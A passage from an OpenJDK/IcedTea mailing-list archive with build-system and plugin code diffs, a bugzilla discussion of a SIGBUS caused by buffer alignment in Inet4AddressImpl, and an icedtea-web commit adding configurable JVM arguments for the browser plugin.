stamps/add-pulseaudio-ecj.stamp stamps/add-nss-ecj.stamp stamps/add-tzdata-support-ecj.stamp + stamps/add-pulseaudio-ecj.stamp stamps/add-nss-ecj.stamp stamps/add-tzdata-support-ecj.stamp \ + stamps/add-archive-ecj.stamp mkdir -p stamps touch stamps/icedtea-against-ecj.stamp clean-icedtea-against-ecj: clean-add-systemtap-ecj clean-add-pulseaudio-ecj clean-add-nss-ecj \ - clean-add-tzdata-support-ecj + clean-add-tzdata-support-ecj clean-add-archive-ecj rm -f stamps/icedtea-against-ecj.stamp stamps/add-systemtap-ecj.stamp: stamps/icedtea-ecj.stamp @@ -1797,11 +1841,16 @@ < $(abs_top_builddir)/tapset/hotspot.stp \ > $(ECJ_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot.stp; \ sed -e '/\/client\/libjvm.so/d' \ + < $(abs_top_builddir)/tapset/hotspot_gc.stp \ + > $(ECJ_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_gc.stp; \ + sed -e '/\/client\/libjvm.so/d' \ < $(abs_top_builddir)/tapset/hotspot_jni.stp \ > $(ECJ_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_jni.stp; \ else \ cp $(abs_top_builddir)/tapset/hotspot.stp \ $(ECJ_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot.stp; \ + cp $(abs_top_builddir)/tapset/hotspot_gc.stp \ + $(ECJ_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_gc.stp; \ cp $(abs_top_builddir)/tapset/hotspot_jni.stp \ $(ECJ_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_jni.stp; \ fi @@ -1899,6 +1948,19 @@ rm -f $(ECJ_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/tz.properties rm -f stamps/add-tzdata-support-ecj.stamp +stamps/add-archive-ecj.stamp: stamps/icedtea-ecj.stamp +if !ENABLE_JAMVM +if !ENABLE_CACAO + if [ -e $(ECJ_BUILD_OUTPUT_DIR)/j2sdk-image/bin/java ] ; then \ + $(ECJ_BUILD_OUTPUT_DIR)/j2sdk-image/bin/java -Xshare:dump ; \ + fi +endif +endif + touch stamps/add-archive-ecj.stamp + +clean-add-archive-ecj: + rm -f stamps/add-archive-ecj.stamp + # Rebuild targets rebuild: @@ -2124,6 +2186,8 @@ --enable-jre-layout $(CACAO_CONFIGURE_ARGS); \ $(ARCH_PREFIX) $(MAKE) -j$(PARALLEL_JOBS) install ln -s server $(abs_top_builddir)/cacao/install/jre/lib/$(INSTALL_ARCH_DIR)/client + touch $(abs_top_builddir)/cacao/install/jre/lib/$(INSTALL_ARCH_DIR)/server/Xusage.txt + ln -sf client/libjvm.so $(abs_top_builddir)/cacao/install/jre/lib/$(INSTALL_ARCH_DIR)/libjsig.so endif endif mkdir -p stamps @@ -2482,6 +2546,12 @@ # Target Aliases # =============== +add-archive: stamps/add-archive.stamp + +add-archive-debug: stamps/add-archive-debug.stamp + +add-archive-ecj: stamps/add-archive-ecj.stamp + bootstrap-directory-ecj: stamps/bootstrap-directory-ecj.stamp bootstrap-directory: stamps/bootstrap-directory.stamp diff -r 109033172ae7 -r 5b29b2f26eea NEWS --- a/NEWS Wed Oct 31 11:34:40 2012 +0000 +++ b/NEWS Wed Dec 05 14:55:23 2012 +0000 @@ -56,6 +56,14 @@ are actually missing from the boot JDK - PR1114: Provide option to turn off downloading of tarballs (--disable-downloading) - PR1176: Synchronise CACAO rules between IcedTea6/7/8 where possible + - RH513605: Updating/Installing OpenJDK should recreate the shared class-data archive +* CACAO + - PR1120: Unified version for icedtea6/7 + - CA166, CA167: check-langtools fixes for icedtea6 + - Implemented sun.misc.Perf.highResCounter + - CACAO now identifies by its own Mercurial revision + - Some memory barrier maintenance + - Ability to run when compiled as Thumb on armv5 (no Thumb JIT though) * JamVM - ARMv6 armhf: Changes for Raspbian (Raspberry Pi) - PPC: Don't use lwsync if it isn't supported diff -r 109033172ae7 -r 5b29b2f26eea acinclude.m4 --- a/acinclude.m4 Wed Oct 31 11:34:40 2012 +0000 +++ b/acinclude.m4 Wed Dec 05 14:55:23 2012 +0000 @@ -139,6 +139,9 @@ JAVAC="${ECJ} -nowarn" fi fi + + IT_USING_ECJ + AC_SUBST(ECJ) AC_SUBST(JAVAC) ]) @@ -1857,3 +1860,16 @@ AM_CONDITIONAL([DOWNLOADING], test x"${enable_downloading}" = "xyes") AC_SUBST([enable_downloading]) ]) + +AC_DEFUN([IT_USING_ECJ],[ +AC_CACHE_CHECK([if we are using ecj as javac], it_cv_ecj, [ +if $JAVAC -version 2>&1| grep '^Eclipse' >&AS_MESSAGE_LOG_FD ; then + it_cv_ecj=yes; +else + it_cv_ecj=no; +fi +]) +USING_ECJ=$it_cv_ecj +AC_SUBST(USING_ECJ) +AC_PROVIDE([$0])dnl +]) diff -r 109033172ae7 -r 5b29b2f26eea configure.ac --- a/configure.ac Wed Oct 31 11:34:40 2012 +0000 +++ b/configure.ac Wed Dec 05 14:55:23 2012 +0000 @@ -58,12 +58,21 @@ IT_DISABLE_JDK_TESTS IT_CHECK_FOR_METHOD([JAVAX_SWING_PLAF_BASIC_BASICDIRECTORYMODEL_ADDPROPERTYCHANGELISTENER], - [javax.swing.plaf.basic.BasicDirectoryModel.addPropertyChangeListener], + [javax.swing.plaf.basic.BasicDirectoryModel.addPropertyChangeListener(PropertyChangeListener)], [javax.swing.plaf.basic.BasicDirectoryModel], ["addPropertyChangeListener",java.beans.PropertyChangeListener.class], [javax.swing.plaf.basic.BasicDirectoryModel model = new javax.swing.plaf.basic.BasicDirectoryModel(new javax.swing.JFileChooser()); model.addPropertyChangeListener(model)] ) +# Workaround issue with old CORBA classes in old OpenJDK builds +IT_CHECK_FOR_CLASS([ORBUTILSYSTEMEXCEPTION],[com.sun.corba.se.impl.logging.ORBUtilSystemException]) +IT_CHECK_FOR_METHOD([ORBUTILSYSTEMEXCEPTION_IOEXCEPTIONONCLOSE_THROWABLE], + [com.sun.corba.se.impl.logging.ORBUtilSystemException.ioExceptionOnClose(Throwable)], + [com.sun.corba.se.impl.logging.ORBUtilSystemException], + ["ioExceptionOnClose",java.lang.Throwable.class], + [new com.sun.corba.se.impl.logging.ORBUtilSystemException(null).ioExceptionOnClose(new InternalError())] +) + # Use xvfb-run if found to run gui tests (check-jdk). AC_CHECK_PROG(XVFB_RUN_CMD, xvfb-run, [xvfb-run -a -e xvfb-errors], []) AC_SUBST(XVFB_RUN_CMD) @@ -327,6 +336,7 @@ AC_CONFIG_FILES([tapset/hotspot.stp]) AC_CONFIG_FILES([tapset/hotspot_jni.stp]) AC_CONFIG_FILES([tapset/jstack.stp]) + AC_CONFIG_FILES([tapset/hotspot_gc.stp]) fi dnl Check for libpng headers and libraries. diff -r 109033172ae7 -r 5b29b2f26eea javac.in --- a/javac.in Wed Oct 31 11:34:40 2012 +0000 +++ b/javac.in Wed Dec 05 14:55:23 2012 +0000 @@ -4,11 +4,13 @@ use constant STRIP_ARGS => qw(-Werror -implicit:none -J-Xbootclasspath/p:); my $ECJ_WARNINGS="-nowarn"; +my $JAVAC_WARNINGS="-nowarn"; my @bcoption; push @bcoption, '-bootclasspath', glob '@abs_top_builddir@/bootstrap/jdk1.6.0/jre/lib/rt.jar' unless grep {$_ eq '-bootclasspath'} @ARGV; my @ecj_parms = ($ECJ_WARNINGS, @bcoption); +my @javac_parms = ($JAVAC_WARNINGS, '-Xprefer:source', '-XDignore.symbol.file=true'); # Work around ecj's inability to handle duplicate command-line # options and unknown javac options. @@ -49,6 +51,18 @@ my $ecj_args = gen_ecj_opts( \@ARGV ); exec '@abs_top_builddir@/native-ecj', @ecj_parms, @$ecj_args ; } +elsif ( -e "@JAVAC@" ) +{ + if ("@USING_ECJ@" eq "yes") + { + my $ecj_args = gen_ecj_opts( \@ARGV ); + exec '@JAVAC@', @ecj_parms, @$ecj_args ; + } + else + { + exec '@JAVAC@', @javac_parms, @ARGV ; + } +} elsif ( -e "@ECJ_JAR@" ) { my ($vm_args, $javac_args) = split_vm_args (gen_ecj_opts( \@ARGV )); @@ -59,6 +73,6 @@ } else { - my $ecj_args = gen_ecj_opts( \@ARGV ); - exec '@ECJ@', @ecj_parms, @$ecj_args ; + print STDERR "No Java compiler to run"; + exit -1; } diff -r 109033172ae7 -r 5b29b2f26eea patches/cacao/jsig.patch --- a/patches/cacao/jsig.patch Wed Oct 31 11:34:40 2012 +0000 +++ /dev/null Thu Jan 01 00:00:00 1970 +0000 @@ -1,18 +0,0 @@ From bugzilla-daemon at icedtea.classpath.org Wed Dec 5 08:02:32 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Wed, 05 Dec 2012 16:02:32 +0000 Subject: [Bug 1233] java.net.Inet4AddressImpl.getLocalHostName() causes SIGBUS error In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1233 --- Comment #11 from sato --- (In reply to comment #10) > (In reply to comment #9) > > So that bug needs backporting presumably. > > (In reply to comment #8) > > This can be fixed by following the change here. > > http://hg.openjdk.java.net/jdk7/jdk7/jdk/rev/ab13f19ee0ff > > Are you sure? Do you really have a hostname that is so very long? I'm not sure because the hostname is not so long. Another changes I made on Inet4AddressImpl.c to follow the latest version of jdk7 is here: @@ -82,10 +77,8 @@ */ #endif /* __linux__ */ struct hostent res, res2, *hp; - char buf[HENT_BUF_SIZE]; - char buf2[HENT_BUF_SIZE]; + char *buf[HENT_BUF_SIZE/(sizeof (char *))]; + char *buf2[HENT_BUF_SIZE/(sizeof (char *))]; @@ -94,21 +87,17 @@ hostname[MAXHOSTNAMELEN] = '\0'; #ifdef __GLIBC__ - gethostbyname_r(hostname, &res, buf, sizeof(buf), &hp, &h_error); + gethostbyname_r(hostname, &res, (char*)buf, sizeof(buf), &hp, &h_error); #else - hp = gethostbyname_r(hostname, &res, buf, sizeof(buf), &h_error); + hp = gethostbyname_r(hostname, &res, (char*)buf, sizeof(buf), &h_error); #endif if (hp) { #ifdef __GLIBC__ gethostbyaddr_r(hp->h_addr, hp->h_length, AF_INET, - &res2, buf2, sizeof(buf2), &hp, &h_error); + &res2, (char*)buf2, sizeof(buf2), &hp, &h_error); #else hp = gethostbyaddr_r(hp->h_addr, hp->h_length, AF_INET, - &res2, buf2, sizeof(buf2), &h_error); + &res2, (char*)buf2, sizeof(buf2), &h_error); #endif -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121205/16844bb2/attachment.html From bugzilla-daemon at icedtea.classpath.org Wed Dec 5 08:08:38 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Wed, 05 Dec 2012 16:08:38 +0000 Subject: [Bug 906] icedtea always redownloads web start application In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=906 tramjoe.merin at gmail.com changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |tramjoe.merin at gmail.com Version|1.2 |unspecified --- Comment #1 from tramjoe.merin at gmail.com --- Hi, I wanted to second that report. I am using archlinux with icedtea package version 1.3.1 (could not find it in the Mozilla versions pulldown though, I am not sure if this matches the upstream version), and I have exactly the same symptoms, using too kgs java web start app (http://www.gokgs.com/download.jsp). I tried using the -noupdate and -basedir (mentionned in the javaws manpage but not when running with the -help option), without any success. I have also noted that the offline mode is allowed by the jnpl file (). If I use the -noupdate option along with modifying the jnpl file to , then it works locally, even though the jnpl file gets overwritten with the original one... strange. Hope this will be solved, and thanks for the good work. Regards, -- Jerome Martin -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121205/3aed31da/attachment.html From bugzilla-daemon at icedtea.classpath.org Wed Dec 5 08:42:28 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Wed, 05 Dec 2012 16:42:28 +0000 Subject: [Bug 1233] java.net.Inet4AddressImpl.getLocalHostName() causes SIGBUS error In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1233 --- Comment #12 from Andrew Haley --- (In reply to comment #11) > > > > (In reply to comment #8) > > > This can be fixed by following the change here. > > > http://hg.openjdk.java.net/jdk7/jdk7/jdk/rev/ab13f19ee0ff > > > > Are you sure? Do you really have a hostname that is so very long? > > I'm not sure because the hostname is not so long. Another changes I made on > Inet4AddressImpl.c to follow the latest version of jdk7 is here: Ah, yes. That's the logic which ensures that the buffer is word-aligned. Sounds like the correct solution. Andrew. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121205/3a355202/attachment.html From smohammad at icedtea.classpath.org Wed Dec 5 09:29:49 2012 From: smohammad at icedtea.classpath.org (smohammad at icedtea.classpath.org) Date: Wed, 05 Dec 2012 17:29:49 +0000 Subject: /hg/icedtea-web: PR1217: Add command line arguments for plugins Message-ID: changeset 141cb4463629 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=141cb4463629 author: Saad Mohammad date: Wed Dec 05 12:29:24 2012 -0500 PR1217: Add command line arguments for plugins diffstat: ChangeLog | 26 + NEWS | 1 + netx/net/sourceforge/jnlp/config/Defaults.java | 6 + netx/net/sourceforge/jnlp/config/DeploymentConfiguration.java | 5 + netx/net/sourceforge/jnlp/controlpanel/ControlPanel.java | 5 + netx/net/sourceforge/jnlp/controlpanel/JVMPanel.java | 85 +++++ netx/net/sourceforge/jnlp/resources/Messages.properties | 3 + plugin/icedteanp/IcedTeaNPPlugin.cc | 145 ++++++--- plugin/icedteanp/IcedTeaPluginUtils.cc | 18 + plugin/icedteanp/IcedTeaPluginUtils.h | 3 + 10 files changed, 253 insertions(+), 44 deletions(-) diffs (437 lines): diff -r b44df9dc3675 -r 141cb4463629 ChangeLog --- a/ChangeLog Wed Dec 05 11:12:16 2012 +0100 +++ b/ChangeLog Wed Dec 05 12:29:24 2012 -0500 @@ -1,3 +1,29 @@ +2012-12-05 Saad Mohammad + + Added new option in itw-settings which allows users to set JVM + arguments when plugin is initialized. + * netx/net/sourceforge/jnlp/config/Defaults.java (getDefaults): + Added defaults for DeploymentConfiguration.KEY_PLUGIN_JVM_ARGUMENTS. + * netx/net/sourceforge/jnlp/config/DeploymentConfiguration.java: + Added new property (KEY_PLUGIN_JVM_ARGUMENTS) which stores the value of + JVM plugin arguments. + * netx/net/sourceforge/jnlp/controlpanel/ControlPanel.java: + (createMainSettingsPanel): Added JVM settings to the list of tabs. + (createJVMSettingsPanel): Returns a new JVMPanel object. + * netx/net/sourceforge/jnlp/controlpanel/JVMPanel.java: + JVM settings panel. + * netx/net/sourceforge/jnlp/resources/Messages.properties: + Added a new items (CPJVMPluginArguments, CPHeadJVMSettings, + CPTabJVMSettings). + * plugin/icedteanp/IcedTeaNPPlugin.cc: + (plugin_start_appletviewer): Adds JVM arguments to the commands line list. + (get_jvm_args): Returns JVM arguments set in itw-settings. + * plugin/icedteanp/IcedTeaPluginUtils.cc: + (IcedTeaPluginUtilities::vectorStringToVectorGchar): New helper method + which returns a vector of gchar* from the vector of strings passed. + * plugin/icedteanp/IcedTeaPluginUtils.h: + Declaration of IcedTeaPluginUtilities::vectorStringToVectorGchar. + 2012-12-05 Pavel Tisnovsky * Makefile.am: Avoid warning message printed in clean target if diff -r b44df9dc3675 -r 141cb4463629 NEWS --- a/NEWS Wed Dec 05 11:12:16 2012 +0100 +++ b/NEWS Wed Dec 05 12:29:24 2012 -0500 @@ -19,6 +19,7 @@ * Plugin - PR1106: Buffer overflow in plugin table- - PR1166: Embedded JNLP File is not supported in applet tag + - PR1217: Add command line arguments for plugins * Common - PR1049: Extension jnlp's signed jar with the content of only META-INF/* is considered - PR955: regression: SweetHome3D fails to run diff -r b44df9dc3675 -r 141cb4463629 netx/net/sourceforge/jnlp/config/Defaults.java --- a/netx/net/sourceforge/jnlp/config/Defaults.java Wed Dec 05 11:12:16 2012 +0100 +++ b/netx/net/sourceforge/jnlp/config/Defaults.java Wed Dec 05 12:29:24 2012 -0500 @@ -378,6 +378,12 @@ DeploymentConfiguration.KEY_UPDATE_TIMEOUT, BasicValueValidators.getRangedIntegerValidator(0, 10000), String.valueOf(500) + }, + //JVM arguments for plugin + { + DeploymentConfiguration.KEY_PLUGIN_JVM_ARGUMENTS, + null, + null } }; diff -r b44df9dc3675 -r 141cb4463629 netx/net/sourceforge/jnlp/config/DeploymentConfiguration.java --- a/netx/net/sourceforge/jnlp/config/DeploymentConfiguration.java Wed Dec 05 11:12:16 2012 +0100 +++ b/netx/net/sourceforge/jnlp/config/DeploymentConfiguration.java Wed Dec 05 12:29:24 2012 -0500 @@ -158,6 +158,11 @@ public static final String KEY_BROWSER_PATH = "deployment.browser.path"; public static final String KEY_UPDATE_TIMEOUT = "deployment.javaws.update.timeout"; + /* + * JVM arguments for plugin + */ + public static final String KEY_PLUGIN_JVM_ARGUMENTS= "deployment.plugin.jvm.arguments"; + public enum ConfigType { System, User } diff -r b44df9dc3675 -r 141cb4463629 netx/net/sourceforge/jnlp/controlpanel/ControlPanel.java --- a/netx/net/sourceforge/jnlp/controlpanel/ControlPanel.java Wed Dec 05 11:12:16 2012 +0100 +++ b/netx/net/sourceforge/jnlp/controlpanel/ControlPanel.java Wed Dec 05 12:29:24 2012 -0500 @@ -226,6 +226,7 @@ // new SettingsPanel(Translator.R("CPTabClassLoader"), createClassLoaderSettingsPanel()), new SettingsPanel(Translator.R("CPTabDebugging"), createDebugSettingsPanel()), new SettingsPanel(Translator.R("CPTabDesktopIntegration"), createDesktopSettingsPanel()), + new SettingsPanel(Translator.R("CPTabJVMSettings"), createJVMSettingsPanel()), new SettingsPanel(Translator.R("CPTabNetwork"), createNetworkSettingsPanel()), // TODO: This is commented out since this is not implemented yet // new SettingsPanel(Translator.R("CPTabRuntimes"), createRuntimesSettingsPanel()), @@ -319,6 +320,10 @@ return new SecuritySettingsPanel(this.config); } + private JPanel createJVMSettingsPanel() { + return new JVMPanel(this.config); + } + /** * This is a placeholder panel. * diff -r b44df9dc3675 -r 141cb4463629 netx/net/sourceforge/jnlp/controlpanel/JVMPanel.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/netx/net/sourceforge/jnlp/controlpanel/JVMPanel.java Wed Dec 05 12:29:24 2012 -0500 @@ -0,0 +1,85 @@ +/* PluginPanel.java +Copyright (C) 2012, Red Hat, Inc. + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License as published by +the Free Software Foundation, version 2. + +IcedTea is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +02110-1301 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. +*/ +package net.sourceforge.jnlp.controlpanel; + +import java.awt.Component; +import java.awt.Dimension; +import java.awt.GridBagConstraints; +import java.awt.GridBagLayout; + +import javax.swing.Box; +import javax.swing.JLabel; +import javax.swing.JTextField; + +import net.sourceforge.jnlp.config.DeploymentConfiguration; +import net.sourceforge.jnlp.runtime.Translator; + + at SuppressWarnings("serial") +public class JVMPanel extends NamedBorderPanel { + private DeploymentConfiguration config; + + JVMPanel(DeploymentConfiguration config) { + super(Translator.R("CPHeadJVMSettings"), new GridBagLayout()); + this.config = config; + addComponents(); + } + + private void addComponents() { + JLabel description = new JLabel("" + Translator.R("CPJVMPluginArguments") + "
"); + JTextField testFieldArguments = new JTextField(25); + + testFieldArguments.getDocument().addDocumentListener(new DocumentAdapter(config, DeploymentConfiguration.KEY_PLUGIN_JVM_ARGUMENTS)); + testFieldArguments.setText(config.getProperty(DeploymentConfiguration.KEY_PLUGIN_JVM_ARGUMENTS)); + + // Filler to pack the bottom of the panel. + GridBagConstraints c = new GridBagConstraints(); + c.fill = GridBagConstraints.BOTH; + c.weightx = 1; + c.gridx = 0; + c.gridy = 0; + + this.add(description, c); + c.gridy++; + this.add(testFieldArguments, c); + + // This is to keep it from expanding vertically if resized. + Component filler = Box.createRigidArea(new Dimension(1, 1)); + c.gridy++; + c.weighty++; + this.add(filler, c); + } +} diff -r b44df9dc3675 -r 141cb4463629 netx/net/sourceforge/jnlp/resources/Messages.properties --- a/netx/net/sourceforge/jnlp/resources/Messages.properties Wed Dec 05 11:12:16 2012 +0100 +++ b/netx/net/sourceforge/jnlp/resources/Messages.properties Wed Dec 05 12:29:24 2012 -0500 @@ -300,6 +300,7 @@ CPSecurityDescription=Use this to configure security settings. CPDebuggingDescription=Enable options here to help with debugging CPDesktopIntegrationDescription=Set whether or not to allow creation of desktop shortcut. +CPJVMPluginArguments=Set JVM arguments for plugin. # Control Panel - Buttons CPButAbout=About... @@ -318,6 +319,7 @@ CPHeadDebugging=Debugging Settings CPHeadDesktopIntegration=Desktop Integrations CPHeadSecurity=Security Settings +CPHeadJVMSettings=JVM Settings # Control Panel - Tabs CPTabAbout=About IcedTea-Web @@ -329,6 +331,7 @@ CPTabNetwork=Network CPTabRuntimes=Runtimes CPTabSecurity=Security +CPTabJVMSettings=JVM Settings # Control Panel - AboutPanel CPAboutInfo=This is the control panel for setting deployments.properties.
Not all options will take effect until implemented.
The use of multiple JREs is currently unsupported.
diff -r b44df9dc3675 -r 141cb4463629 plugin/icedteanp/IcedTeaNPPlugin.cc --- a/plugin/icedteanp/IcedTeaNPPlugin.cc Wed Dec 05 11:12:16 2012 +0100 +++ b/plugin/icedteanp/IcedTeaNPPlugin.cc Wed Dec 05 12:29:24 2012 -0500 @@ -242,6 +242,8 @@ void plugin_send_initialization_message(char* instance, gulong handle, int width, int height, char* url); +/* Returns JVM options set in itw-settings */ +static std::vector* get_jvm_args(); // Global instance counter. // Mutex to protect plugin_instance_counter. @@ -1588,48 +1590,60 @@ PLUGIN_DEBUG ("plugin_start_appletviewer\n"); NPError error = NPERR_NO_ERROR; - gchar** command_line; - gchar** environment; - - int cmd_num = 0; + std::vector command_line; + gchar** environment = NULL; + std::vector* jvm_args = get_jvm_args(); + if (plugin_debug) { - command_line = (gchar**) malloc(sizeof(gchar*)*11); - command_line[cmd_num++] = g_strdup(appletviewer_executable); - command_line[cmd_num++] = g_strdup(PLUGIN_BOOTCLASSPATH); - // set the classpath to avoid using the default (cwd). - command_line[cmd_num++] = g_strdup("-classpath"); - command_line[cmd_num++] = g_strdup_printf("%s/lib/rt.jar", ICEDTEA_WEB_JRE); - command_line[cmd_num++] = g_strdup("-Xdebug"); - command_line[cmd_num++] = g_strdup("-Xnoagent"); - if (plugin_debug_suspend) - { - command_line[cmd_num++] = g_strdup("-Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=y"); - } else - { - command_line[cmd_num++] = g_strdup("-Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n"); - } - command_line[cmd_num++] = g_strdup("sun.applet.PluginMain"); - command_line[cmd_num++] = g_strdup(out_pipe_name); - command_line[cmd_num++] = g_strdup(in_pipe_name); - command_line[cmd_num] = NULL; + command_line.push_back(appletviewer_executable); + + //Add JVM args to command_line + for (int i = 0; i < jvm_args->size(); i++) + { + command_line.push_back(*jvm_args->at(i)); + } + + command_line.push_back(PLUGIN_BOOTCLASSPATH); + // set the classpath to avoid using the default (cwd). + command_line.push_back("-classpath"); + command_line.push_back(ICEDTEA_WEB_JRE "/lib/rt.jar"); + command_line.push_back("-Xdebug"); + command_line.push_back("-Xnoagent"); + + //Debug flags + std::string debug_flags = "-Xrunjdwp:transport=dt_socket,address=8787,server=y,"; + debug_flags += plugin_debug_suspend ? "suspend=y" : "suspend=n"; + command_line.push_back(debug_flags); + + command_line.push_back("sun.applet.PluginMain"); + command_line.push_back(out_pipe_name); + command_line.push_back(in_pipe_name); } else { - command_line = (gchar**) malloc(sizeof(gchar*)*8); - command_line[cmd_num++] = g_strdup(appletviewer_executable); - command_line[cmd_num++] = g_strdup(PLUGIN_BOOTCLASSPATH); - command_line[cmd_num++] = g_strdup("-classpath"); - command_line[cmd_num++] = g_strdup_printf("%s/lib/rt.jar", ICEDTEA_WEB_JRE); - command_line[cmd_num++] = g_strdup("sun.applet.PluginMain"); - command_line[cmd_num++] = g_strdup(out_pipe_name); - command_line[cmd_num++] = g_strdup(in_pipe_name); - command_line[cmd_num] = NULL; + command_line.push_back(std::string(appletviewer_executable)); + + //Add JVM args to command_line + for (int i = 0; i < jvm_args->size(); i++) + { + command_line.push_back(*jvm_args->at(i)); + } + + command_line.push_back(PLUGIN_BOOTCLASSPATH); + command_line.push_back("-classpath"); + command_line.push_back(ICEDTEA_WEB_JRE "/lib/rt.jar"); + command_line.push_back("sun.applet.PluginMain"); + command_line.push_back(out_pipe_name); + command_line.push_back(in_pipe_name); + } environment = plugin_filter_environment(); - - if (!g_spawn_async (NULL, command_line, environment, - (GSpawnFlags) G_SPAWN_DO_NOT_REAP_CHILD, + std::vector vector_gchar = IcedTeaPluginUtilities::vectorStringToVectorGchar(&command_line); + gchar **command_line_args = &vector_gchar[0]; + + if (!g_spawn_async (NULL, command_line_args, environment, + (GSpawnFlags) G_SPAWN_DO_NOT_REAP_CHILD, NULL, NULL, &appletviewer_pid, &channel_error)) { if (channel_error) @@ -1644,15 +1658,11 @@ error = NPERR_GENERIC_ERROR; } - g_strfreev (environment); - - for (int i = 0; i < cmd_num; i++) { - g_free (command_line[i]); - command_line[i] = NULL; - } - - g_free(command_line); - command_line = NULL; + //Free memory + g_strfreev(environment); + IcedTeaPluginUtilities::freeStringPtrVector(jvm_args); + jvm_args = NULL; + command_line_args = NULL; if (appletviewer_pid) { @@ -1665,6 +1675,53 @@ return error; } +/* + * Returns JVM options set in itw-settings + */ +static std::vector* +get_jvm_args() +{ + std::vector < std::string> commands; + gchar *output = NULL; + std::vector* tokenOutput = NULL; + + commands.push_back(appletviewer_executable); + commands.push_back(PLUGIN_BOOTCLASSPATH); + commands.push_back("-classpath"); + commands.push_back(ICEDTEA_WEB_JRE "/lib/rt.jar"); + commands.push_back("net.sourceforge.jnlp.controlpanel.CommandLine"); + commands.push_back("get"); + commands.push_back("deployment.plugin.jvm.arguments"); + + std::vector vector_gchar = IcedTeaPluginUtilities::vectorStringToVectorGchar(&commands); + gchar **command_line_args = &vector_gchar[0]; + + if (!g_spawn_sync(NULL, command_line_args, NULL, + (GSpawnFlags) G_SPAWN_STDERR_TO_DEV_NULL, NULL, NULL, &output, NULL, NULL, + &channel_error)) + { + PLUGIN_ERROR("Failed to get JVM arguments set for plugin."); + output = NULL; + } + + tokenOutput = IcedTeaPluginUtilities::strSplit(output, " \n"); + + //If deployment.plugin.jvm.arguments is undefined, the output will simply be 'null' + //We remove this so it's not mistakenly used as a jvm argument. + if (!tokenOutput->empty() && *tokenOutput->at(0) =="null") + { + delete tokenOutput->at(0); + tokenOutput->erase(tokenOutput->begin()); + } + + //Free memory + g_free(output); + output = NULL; + command_line_args = NULL; + + return tokenOutput; +} + /* * Escape characters for passing to Java. diff -r b44df9dc3675 -r 141cb4463629 plugin/icedteanp/IcedTeaPluginUtils.cc --- a/plugin/icedteanp/IcedTeaPluginUtils.cc Wed Dec 05 11:12:16 2012 +0100 +++ b/plugin/icedteanp/IcedTeaPluginUtils.cc Wed Dec 05 12:29:24 2012 -0500 @@ -1005,6 +1005,24 @@ } /** + * Returns a vector of gchar* pointing to the elements of the vector string passed in. + * @param stringVec The vector of strings reference. + */ +std::vector +IcedTeaPluginUtilities::vectorStringToVectorGchar(const std::vector* stringVec) +{ + std::vector charVec; + + for (int i = 0; i < stringVec->size(); i++) + { + gchar* element = (gchar*) stringVec->at(i).c_str(); //cast from const char + charVec.push_back(element); + } + charVec.push_back(NULL); + return charVec; +} + +/** * Runs through the async call wait queue and executes all calls * * @param param Ignored -- required to conform to NPN_PluginThreadAsynCall API diff -r b44df9dc3675 -r 141cb4463629 plugin/icedteanp/IcedTeaPluginUtils.h --- a/plugin/icedteanp/IcedTeaPluginUtils.h Wed Dec 05 11:12:16 2012 +0100 +++ b/plugin/icedteanp/IcedTeaPluginUtils.h Wed Dec 05 12:29:24 2012 -0500 @@ -274,6 +274,9 @@ static void decodeURL(const char* url, char** decoded_url); + /* Returns a vector of gchar* pointing to the elements of the vector string passed in*/ + static std::vector vectorStringToVectorGchar(const std::vector* stringVec); + /* Posts call in async queue and waits till execution completes */ static void callAndWaitForResult(NPP instance, void (*func) (void *), AsyncCallThreadData* data); }; From bugzilla-daemon at icedtea.classpath.org Wed Dec 5 09:30:01 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Wed, 05 Dec 2012 17:30:01 +0000 Subject: [Bug 1217] Add command line arguments for plugins In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1217 --- Comment #4 from hg commits --- details: 